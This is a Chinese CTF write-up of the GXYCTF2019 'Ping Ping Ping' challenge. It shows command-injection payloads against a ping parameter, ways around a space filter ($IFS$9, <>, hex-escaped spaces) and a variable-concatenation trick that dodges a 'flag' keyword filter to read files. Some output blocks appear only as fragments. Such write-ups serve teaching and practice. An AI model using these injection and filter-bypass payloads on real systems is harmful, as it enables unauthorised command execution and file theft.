GXYCTF2019-PingPingPing
[GXYCTF2019]Ping Ping Ping
1.题目链接:
2.过程:
ping功能原理是向网络上的机器的唯一确定的IP地址发送一个数据包,对方就要返回一个同样大小的数据包,根据返回的数据包我们可以确定目标主机的存在,两台网络机器是否连接相通,时延是多少。
在进行ping功能的命令同时,可使其同时执行额外的其他命令
这需要用到一些命令管道符:
|:直接执行后面的语句
||:如果前面的语句执行出错,则执行后面的语句,否则仅执行前面的语句
&:前后的语句均可执行,但是前面的语句如果执行结果为假(即执行失败),则仅输出后面语句的结果
&&:如果前面的语句为假,则直接报错,也不执行后面的语句
;:多个语句不互相影响
详细:https://blog.csdn.net/youshaoduo/article/details/106607038
所以用:?ip=127.0.0.1||ls,可以得到:
1 | /?ip= |
用cat flag,显示:/?ip= fxck your space!
……
cat<>flag => /?ip= 1fxck your symbol!
这里有一个关于空格的过滤:
{IFS},$IFS$9,$IFS$1,<,<>,{cat,test.txt} ,……
cmd=$’\x20test.txt’&&cat$cmd
x20为16进制数,为32,\转义字符根据ASCII表,为空格……
payload中有flag:/?ip= 1fxck your flag!……
先访问index.php,payload:?ip=127.0.0.1||cat$IFS$9index.php
1 | /?ip= |
显示了具体的过滤机制,如果要绕过flag的匹配,可以考虑借助$a,进行拼接。
?ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
em,拼接好像只能在最后一位,不然好像会出现变量名识别的错误……
1 |
|
好像是当做php语句执行了,查看源码可以看到(大概)……
GXYCTF2019-PingPingPing